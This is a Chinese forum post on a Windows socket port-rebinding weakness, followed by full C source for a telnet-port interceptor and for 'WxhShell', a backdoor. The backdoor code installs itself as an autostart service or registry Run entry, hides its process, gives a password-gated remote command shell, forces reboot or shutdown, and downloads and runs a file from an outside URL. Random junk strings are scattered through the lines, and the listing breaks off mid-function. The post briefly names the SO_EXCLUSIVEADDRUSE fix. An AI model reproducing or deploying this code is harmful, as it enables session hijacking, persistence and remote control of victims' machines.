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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  3?D, Wu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D2VYw<tEA  
;BuMzG:tmZ  
  saddr.sin_family = AF_INET; XoD:gf  
 8s22VL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '=nmdqP  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @7}XBg[pI  
0d2RB^"i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OcUj_Zd  
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  这意味着什么?意味着可以进行如下的攻击: 4Pr^>m  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }Bv1fbD4U  
xD*Zcw(vj~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oL9<Fi  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z wUC L  
n ^9?(a4u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZC2aIJ  
z?13~e[D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dWzf C@]  
@~vg=(ic(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R:n|1]*f3X  
([<{RjPb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OybmyGHY  
&'`C#-e@  
  #include 2MB>NM<xO  
  #include ajkV"~w',|  
  #include 'T^MaLK  
  #include    [? "hmSJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xJ<RQCW$  
  int main() ^/Hf$tYI!`  
  { hpQ #`rhn  
  WORD wVersionRequested; 1q;R+65  
  DWORD ret; .@x.    
  WSADATA wsaData; Z42q}Fhm*R  
  BOOL val; YKUAI+ks  
  SOCKADDR_IN saddr; E uO:}[  
  SOCKADDR_IN scaddr; CnuM=S:  
  int err; M#Z^8(  
  SOCKET s; E 1`g8Hk'  
  SOCKET sc; H.M: cD:  
  int caddsize; xY)eU;*  
  HANDLE mt; !.%*Tp#k#  
  DWORD tid;   K"[jrvZ=  
  wVersionRequested = MAKEWORD( 2, 2 ); Y->sJm  
  err = WSAStartup( wVersionRequested, &wsaData ); )0I -N)  
  if ( err != 0 ) { +|;Ri68  
  printf("error!WSAStartup failed!\n"); =P,mix|  
  return -1; q2|x$5  
  } c611&  
  saddr.sin_family = AF_INET; xuHP4$<h3  
   >"UXY)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b&A/S$*  
wx-&(f   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +)h# !/  
  saddr.sin_port = htons(23); \_u{ EB'b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rhzI*nwOT  
  { B t3++ Mj  
  printf("error!socket failed!\n"); JK,^:tgm  
  return -1; ~i?Jg/qcxN  
  } f4\F:YT  
  val = TRUE; Q(x=;wf5r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i.^UkN{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [qxpu{  
  { [jN Vk3  
  printf("error!setsockopt failed!\n"); >9XG+f66E  
  return -1; ^x*J4jl  
  } B^M L}$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R4)l4rnO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6`7`herE}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vR#MUKfh  
CBdr 1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K~]Xx~F  
  { orWF>o=1  
  ret=GetLastError(); 5Th\wTh04  
  printf("error!bind failed!\n"); \3(s&K\Y6\  
  return -1;  o4 "HE*  
  } 1Z_]Ge<a  
  listen(s,2); .rg "(I  
  while(1) L4+R8ojG  
  { J7wwM'\  
  caddsize = sizeof(scaddr); r_ m|?U %  
  //接受连接请求 rx]Q,;"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ku57<kb  
  if(sc!=INVALID_SOCKET) [GM!@6U  
  { EQ"_kJ>81Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )2Q0NbDn  
  if(mt==NULL) 6_8yQ  
  { N1E9w:T`  
  printf("Thread Creat Failed!\n"); i< imE#  
  break; kyJKai  
  } p? +!*BZ  
  } ZQR)k:k7  
  CloseHandle(mt); 5y='1s[%  
  } y]i} j,e0L  
  closesocket(s); u<n['Ur}|  
  WSACleanup(); /Re67cMQ*  
  return 0; \4G9 fR4  
  }   zB7 ^L^Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) R))4J  
  { ~yngH0S$[b  
  SOCKET ss = (SOCKET)lpParam; bA6^R If?  
  SOCKET sc; x`p908S^  
  unsigned char buf[4096]; a{;+_J3S  
  SOCKADDR_IN saddr; !}`[s2ji  
  long num; Ss{5'SF)$c  
  DWORD val; ]9<H[5>$R  
  DWORD ret; .GYdC '  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \'w.<)(GI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w4^ $@GtN  
  saddr.sin_family = AF_INET; ^eV  K.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $+{o*  
  saddr.sin_port = htons(23); 4*n1Xu 7^x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B'B0e`  
  { >)[W7h  
  printf("error!socket failed!\n"); 3<Z@!ft8  
  return -1; 0aGauG[  
  } HWL? doM  
  val = 100; 0|hOoO]?q&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ca,JQrm  
  { -)"\?+T  
  ret = GetLastError(); GAR6nJCz  
  return -1; IAmMO[9H  
  } RT%{M1tkS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) isnpSN"z  
  { C{-Dv-<A>  
  ret = GetLastError(); h^."wv  
  return -1; 8BY`~TZO$q  
  } E9.1~ )  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2:[<E2z  
  { T/%k1Hsa4H  
  printf("error!socket connect failed!\n"); kDiR2K&  
  closesocket(sc); sBxCi~  
  closesocket(ss); k9y/.Mu  
  return -1; >FFp"%%  
  } )>rYp )  
  while(1)  W"~"R  
  { H]dN'c-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  Cb|R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'o8,XBv-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ARJtE@s6Y  
  num = recv(ss,buf,4096,0); +,ld;NM{  
  if(num>0) 2C_I3S ~U  
  send(sc,buf,num,0); d| {<SRAI  
  else if(num==0) }6__E;h#J  
  break;  OtZtl* 5  
  num = recv(sc,buf,4096,0); !cO<N~0*5x  
  if(num>0) )Ps<u-V  
  send(ss,buf,num,0); grd fR`3  
  else if(num==0) .D=#HEshk  
  break; b3=XWzK5  
  } v9D[| 4  
  closesocket(ss); e 7Sg-NWV  
  closesocket(sc); 'F1<m^  
  return 0 ; Hc0V4NHCaL  
  } 2Y}A9Veb  
4%>tk 8 [  
7,{!a56zX  
========================================================== AUU(fy#<  
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下边附上一个代码,,WXhSHELL ,y7X>M2  
(WGEX(|  
========================================================== H[/^&1P  
2ZxZ2?.uJ  
#include "stdafx.h" DY87NS*HF  
b Olb  
#include <stdio.h> XOZ@ek)LY  
#include <string.h> \7(OFT\u:  
#include <windows.h> )d5mZE!3  
#include <winsock2.h> JkNRXC:  
#include <winsvc.h> OH5#.${O  
#include <urlmon.h> !NhVPb,  
@j r$4pM?  
#pragma comment (lib, "Ws2_32.lib") 2$ \#BG  
#pragma comment (lib, "urlmon.lib") (>om.FM  
 ZN;fDv  
#define MAX_USER   100 // 最大客户端连接数 ;Ac!"_N?7  
#define BUF_SOCK   200 // sock buffer zL+M-2hV  
#define KEY_BUFF   255 // 输入 buffer jdD`C`w|,  
|y]8gL^  
#define REBOOT     0   // 重启 7YU}-gi  
#define SHUTDOWN   1   // 关机 VB+y9$Y'  
1i|5ii*vc  
#define DEF_PORT   5000 // 监听端口 U&gl$/4U@  
a3_pF~Qx  
#define REG_LEN     16   // 注册表键长度 {'zs4)vw  
#define SVC_LEN     80   // NT服务名长度 pmDFmES  
$I3}% '`+  
// 从dll定义API }Do$oyAV$G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V#-8[G6Ra  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E-#}.}i5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a&`Lfw"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]u >~:  
`[4{]jX+<  
// wxhshell配置信息 Z@#k ivcpz  
struct WSCFG { rdm&YM`J  
  int ws_port;         // 监听端口 ,HW[l.v  
  char ws_passstr[REG_LEN]; // 口令 sCAWrbOe>  
  int ws_autoins;       // 安装标记, 1=yes 0=no X4v0>c  
  char ws_regname[REG_LEN]; // 注册表键名 OWHHN<  
  char ws_svcname[REG_LEN]; // 服务名 UZW)%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OmECvL'Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n\4sNoFI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xNxSgvco ,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z uO 7 N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KQrG|<J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  !*-|s}e  
J po(O>\P  
}; ?7aeY5p  
WNV}@  
// default Wxhshell configuration , *Z!Bd8  
struct WSCFG wscfg={DEF_PORT, <3b Ft[  
    "xuhuanlingzhe", ca$K)=cDW  
    1, qmGLc~M0  
    "Wxhshell", EYKV}`  
    "Wxhshell", p w`YMk  
            "WxhShell Service", 3gba~}c)  
    "Wrsky Windows CmdShell Service", +C[%^G-:  
    "Please Input Your Password: ", O>2i)M-h9x  
  1, ,fD#)_\g2  
  "http://www.wrsky.com/wxhshell.exe", <#:ey^q<  
  "Wxhshell.exe" ;ywUl`d  
    }; `CEHl &w  
$+[ v17lF  
// 消息定义模块 6t`cY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )ocr.wU@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _2S( *  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ft 4(^|~  
char *msg_ws_ext="\n\rExit."; 32,Y 3!%  
char *msg_ws_end="\n\rQuit."; )Es|EPCx!  
char *msg_ws_boot="\n\rReboot..."; sxU 0Fg   
char *msg_ws_poff="\n\rShutdown..."; kR;Hb3hb  
char *msg_ws_down="\n\rSave to "; QpMi+q Y  
5*Y(%I<  
char *msg_ws_err="\n\rErr!"; ,CQg6- [  
char *msg_ws_ok="\n\rOK!"; #?RT$L>n  
i~EFRI@  
char ExeFile[MAX_PATH]; MJI`1*(  
int nUser = 0; r1 [Jo|4vo  
HANDLE handles[MAX_USER]; kTs.ps8ei  
int OsIsNt; 8A2_4q@34  
r/mKuGa]  
SERVICE_STATUS       serviceStatus; 'C<4{agS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wy4 }CG  
\zyvu7YA  
// 函数声明 OOj }CZ6  
int Install(void); 2umgF  
int Uninstall(void); :5BVVa0oR  
int DownloadFile(char *sURL, SOCKET wsh); ORo,.#<  
int Boot(int flag); - 1tiy.^$F  
void HideProc(void); ps3jw*QZ{5  
int GetOsVer(void); ~k'SP(6#C  
int Wxhshell(SOCKET wsl); # Q61c  
void TalkWithClient(void *cs); 'P3jUc)  
int CmdShell(SOCKET sock); 0ZJt  
int StartFromService(void); OS$^>1f"  
int StartWxhshell(LPSTR lpCmdLine); phqmr5s^H  
Q}:#H z?U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5? 1:RE(1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &`Ek-b!7  
FkY <I]F  
// 数据结构和表定义 X_2p C|C  
SERVICE_TABLE_ENTRY DispatchTable[] = ) i=.x+Q  
{ , FD RU  
{wscfg.ws_svcname, NTServiceMain},  MON]rj7  
{NULL, NULL} *'hJ5{U  
}; 6 ly`lu9  
R&]#@PW^  
// 自我安装 *32hIiCm  
int Install(void) w>h\643  
{ cCbZ*  
  char svExeFile[MAX_PATH]; g.T:72"  
  HKEY key; swLrp 74  
  strcpy(svExeFile,ExeFile); 8XdgtYm  
U/9_:  
// 如果是win9x系统,修改注册表设为自启动 \*5${[  
if(!OsIsNt) { 8t >nL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6_kv~`"tZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nb}rfd.  
  RegCloseKey(key); -|_MC^)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y2Y)|<FH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b]k9c1x  
  RegCloseKey(key); M.?[Xpa  
  return 0; B6xM#)  
    } oZ,_G,b^  
  } <3C/t|s  
} ,IDCbJ  
else { =`Lci1#pu}  
Dg o -Os@  
// 如果是NT以上系统,安装为系统服务 TNkvdE-S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F;sZc,Y,^  
if (schSCManager!=0) 1j?+rs+o-  
{ _|I`A6`=  
  SC_HANDLE schService = CreateService /l1OC(hm  
  ( VHqHG`}:  
  schSCManager, GY wU3`{  
  wscfg.ws_svcname, jcL%_of  
  wscfg.ws_svcdisp, +Fa!<txn  
  SERVICE_ALL_ACCESS, On-zbE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X_aC$_b  
  SERVICE_AUTO_START, R]<N";-  
  SERVICE_ERROR_NORMAL, jiqE^j3;  
  svExeFile, !N'HL-oT  
  NULL, sFV&e->AN\  
  NULL, xTg=oq  
  NULL, h1 pEC  
  NULL, 5L\&"['  
  NULL "kd)dy95H  
  ); =bJ7!&  
  if (schService!=0) zy(NJ  
  { TP{2q51yM  
  CloseServiceHandle(schService); B"?ivxM:U  
  CloseServiceHandle(schSCManager); p(Ux]_s%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \45F;f_r6  
  strcat(svExeFile,wscfg.ws_svcname); bYAtUEv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zv0bE?W9   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1s/548wu  
  RegCloseKey(key); IRyZ0$r:e\  
  return 0; %8{nuq+c  
    } wl7 (|\-  
  } RG_.0'5=hc  
  CloseServiceHandle(schSCManager); B-UsMO  
} F<TIZ^gFP  
} #ADm^UT^  
vb`R+y@  
return 1; qsWy <yL+  
} 75^AO>gt   
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// 自我卸载 AF\Jh+ynT!  
int Uninstall(void) 0TWd.+  
{ A<''x'\/  
  HKEY key; gy>B 5ie  
5.d[C/pRw  
if(!OsIsNt) { L@s_)?x0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -}(2}~{e(  
  RegDeleteValue(key,wscfg.ws_regname); =}zSj64  
  RegCloseKey(key); OXJ'-EZH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * o{7 a$V  
  RegDeleteValue(key,wscfg.ws_regname); /]oQqZHv  
  RegCloseKey(key); 1]69S(  
  return 0; +}R#mco5K  
  } -nXlW  
} }Xvm( ;  
} %+^Qs\j  
else { zf;sdQ;4  
'^)}"sZ@G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U0Uy C  
if (schSCManager!=0) EKus0"|  
{ ^B:;uyG]M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VwOcWKD  
  if (schService!=0) JED\"(d(  
  { < 1[K1'7h  
  if(DeleteService(schService)!=0) { sGa}Cf;H@g  
  CloseServiceHandle(schService); Ad&VOh+0  
  CloseServiceHandle(schSCManager); $[UUf}7L   
  return 0; wJj:hA}  
  } p(6 sN=  
  CloseServiceHandle(schService); P; h8  
  } ?N^1v&Q  
  CloseServiceHandle(schSCManager); ALj~e#{;z  
} :V1j*)  
} 0SDnMij&bf  
# %EHcgF  
return 1; 4Cv*zn  
} b~qH/A}h  
``%yVVg}  
// 从指定url下载文件 -9::M}^2  
int DownloadFile(char *sURL, SOCKET wsh) k%BU&%?1  
{ .,20_<j%=  
  HRESULT hr; #q 4uS~  
char seps[]= "/"; !Au#j^5K-o  
char *token; Yt?]0i+  
char *file; P0pBR_:o  
char myURL[MAX_PATH]; >n^780S|  
char myFILE[MAX_PATH]; T*nP-b  
stUUez>  
strcpy(myURL,sURL); &d0sv5&s  
  token=strtok(myURL,seps); 4jt(tZS  
  while(token!=NULL) mRa\ wEg%  
  { 0<O()NMv  
    file=token; )2_[Ww|.  
  token=strtok(NULL,seps); c]zFZJ6M  
  } 3{f g3?  
W.NZ%~|+e/  
GetCurrentDirectory(MAX_PATH,myFILE); <{GVA0nr  
strcat(myFILE, "\\"); hJsP;y:@Lm  
strcat(myFILE, file); [dAQrou6P  
  send(wsh,myFILE,strlen(myFILE),0); QFMA y>Gdn  
send(wsh,"...",3,0); =3 Vug2*wd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YZ`SF"Bd(  
  if(hr==S_OK) tj$[szo  
return 0; s&Y"a,|Z  
else kg 8Dn  
return 1; BM'!odRv  
2?SbkU/3|P  
} 7B)1U_L0H  
4Y$\QZO  
// 系统电源模块 aL%E#  
int Boot(int flag) |R1T;J<[  
{ i[@13kr  
  HANDLE hToken; yOt#6Vw  
  TOKEN_PRIVILEGES tkp; 1[T7;i$  
[q_+s  
  if(OsIsNt) { UKQ"sC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4(8tr D6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Px&_6}YWy  
    tkp.PrivilegeCount = 1; 1I{8 |  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "i\#L`TkzX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A&bj l[s  
if(flag==REBOOT) { a]T&-#c,}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BjeD4  
  return 0; 0~z\ WSo  
} 1"L"LU'  
else { !~yBz H;K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U3N9O.VC  
  return 0; n{i,`oQ"  
} *67K_<bp]  
  } fjVy;qJ32S  
  else { #K6cBfqI  
if(flag==REBOOT) { 50j8+xJPV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yji[Yde;|  
  return 0; 3TH?7wi  
} V*{rHp{=p  
else { .z.4E:Iq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Be=rBrI>  
  return 0; bD{k=jum  
} -~|{q)!F  
} c#sHnpP  
=jJEl=*S  
return 1; C!*.jvhT  
} (XQuRL<X  
eM:J_>7t  
// win9x进程隐藏模块 }}{n|l+R5  
void HideProc(void) 8v4 o+w P  
{ #5Z`Q^  
X 3$ W60Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); > 'hM"4f  
  if ( hKernel != NULL ) 6eB;  
  { 8.#{J&h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iBd6&?E?<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %^pi  
    FreeLibrary(hKernel); XS[L-NHG  
  } Ch_rV+  
8s@N NjV  
return; b1.*cIv}  
} sfj+-se(K.  
DzQBWY] )  
// 获取操作系统版本 /N"3kK,N  
int GetOsVer(void) UnF8#~  
{ "(^XZAU#W  
  OSVERSIONINFO winfo; hd(FOKOP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `x#Ud)g  
  GetVersionEx(&winfo); @)?]u U"L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K"H\gmV_ g  
  return 1; ) ;\c{QF  
  else AQlB_ @ b  
  return 0; <4"-tYa  
} La;G S  
rNii,_  
// 客户端句柄模块 }OL"38P  
int Wxhshell(SOCKET wsl) `t&{^ a&Y"  
{ |)29"_Kk5  
  SOCKET wsh; jC9us>b  
  struct sockaddr_in client; yZ|"qP1  
  DWORD myID; .h7s.p?  
g[3LPKQ  
  while(nUser<MAX_USER) ]R#:Bq!F  
{ DAB9-[y+  
  int nSize=sizeof(client); qW0:q.   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8AuBs;i  
  if(wsh==INVALID_SOCKET) return 1; ] 3"t]U'f  
c+9L6}D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2 }r=DAe0  
if(handles[nUser]==0) <EpL<K%  
  closesocket(wsh); rp||#v0l!w  
else f'^uuO#x  
  nUser++; d,b4q&^X8  
  } 5^u$zfR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ?pTX4a&>  
D(#f`Fj;  
  return 0; G@[8P?M=Z  
}  5&&4-  
2J ZR"P  
// 关闭 socket 0 =j }`  
void CloseIt(SOCKET wsh) lW&(dn)}  
{ ~2w&+@dV%  
closesocket(wsh); <W80AJ  
nUser--; pk/#RUfT+  
ExitThread(0); H\67Pd(Z6  
} Az`Aa0h]7  
c=oDzAzuV\  
// 客户端请求句柄 fFjpQ~0  
void TalkWithClient(void *cs) $;qi -K3j  
{ G*fo9eu5$  
I,j4 BU4  
  SOCKET wsh=(SOCKET)cs; Tlsh[@Q  
  char pwd[SVC_LEN]; /kW Z 8Z  
  char cmd[KEY_BUFF]; mgq!)  
char chr[1]; _FY&XL=  
int i,j; Oj5UG*  
&O&HczO  
  while (nUser < MAX_USER) { k$w~JO!s  
EKwQ$?I  
if(wscfg.ws_passstr) { I0Pw~Jj{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lkn|>U[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0bg"Q4  
  //ZeroMemory(pwd,KEY_BUFF); 94u{k1d x  
      i=0; .+9hm|  
  while(i<SVC_LEN) { *@2Bh4  
H_DCdUgC'  
  // 设置超时 K p3}A$uV  
  fd_set FdRead; tIsWPt]Y  
  struct timeval TimeOut; Zd*$^P,|  
  FD_ZERO(&FdRead); O VV@  
  FD_SET(wsh,&FdRead); xM*_1+<dT$  
  TimeOut.tv_sec=8; :C~Ar]  
  TimeOut.tv_usec=0; Ot t6y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5)k8(kH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uN|A}/hr]  
`g)}jo`W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bt+^H6cb  
  pwd=chr[0]; $)i`!7`4=  
  if(chr[0]==0xd || chr[0]==0xa) { c/;;zc  
  pwd=0; oL<#9)+2*  
  break; )ZG;.j  
  } 3o<d= @`r  
  i++; )dXa:h0RZ  
    } _bFUr  
\Pg~j\;F]  
  // 如果是非法用户,关闭 socket 3nq?Y8yac  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +)Z]<O  
} fE#(M+(<  
')X (P>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DXFu9RE\{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 51#*8u+L  
$ V^gFes  
while(1) { SK<Rk  
n ~t{]if"  
  ZeroMemory(cmd,KEY_BUFF); qpjY &3SI  
1Ms[$$b$  
      // 自动支持客户端 telnet标准   *LT~:Gs#  
  j=0; _5oTNL2  
  while(j<KEY_BUFF) { F^i3e31*t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wv;0PhF  
  cmd[j]=chr[0]; sZ.<:mu[  
  if(chr[0]==0xa || chr[0]==0xd) { (m~>W"x/  
  cmd[j]=0; = tv70d'  
  break; 4"d,=P.{  
  } 7=G 2sOC  
  j++; h [TwaR  
    } h3ygL"k  
jh5QIZf=  
  // 下载文件 44]s`QyG  
  if(strstr(cmd,"http://")) { o<`vh*U@,4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JzyCeM =  
  if(DownloadFile(cmd,wsh)) @KN+)qP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #lYyL`B+~  
  else 6EqA Y`y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TBj2(Z  
  } X8Z?G,[H  
  else { t*{L[c9.Uq  
,+=9Rp`md  
    switch(cmd[0]) { }V?m =y [  
  %b6$N_M{H1  
  // 帮助 i_Kwxn$  
  case '?': { zp:dArh0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =Tj{)=^/#  
    break; &,X}M  
  } mG~_*8}e<  
  // 安装 ("$/sT  
  case 'i': { E$ d#4x  
    if(Install()) 8fC4j`!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OgQd yU  
    else ]?9*Vr:P^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nL@'??I1  
    break; mypV[  
    } BI'>\hX/V  
  // 卸载 cc@W 6W  
  case 'r': { LC%o coc  
    if(Uninstall()) -IPo/?}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <r%K i`u(p  
    else +;N]34>S7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q@D7 \<t  
    break; VtBC~?2U)B  
    } &D, Iwq  
  // 显示 wxhshell 所在路径 d?,'$$aB  
  case 'p': { xc^@"  
    char svExeFile[MAX_PATH]; asWk]jjMG  
    strcpy(svExeFile,"\n\r"); "<,lqIqA;  
      strcat(svExeFile,ExeFile); N5Js.j>z  
        send(wsh,svExeFile,strlen(svExeFile),0); _&gi4)q  
    break; M'*s5:i  
    } *ap,r&]#F  
  // 重启 (q)}`1d'  
  case 'b': { 7]=&Q4e4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #'L<7t K  
    if(Boot(REBOOT)) i8iT}^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x|H`%Z  
    else { bA;OphO(  
    closesocket(wsh); a:FU- ^B4~  
    ExitThread(0); O-?rFNavxp  
    } IH|zNg{\Y  
    break; iw@rW5%'~  
    } L9b.D<  
  // 关机 u3T-U_:jSV  
  case 'd': { mm/\\my  
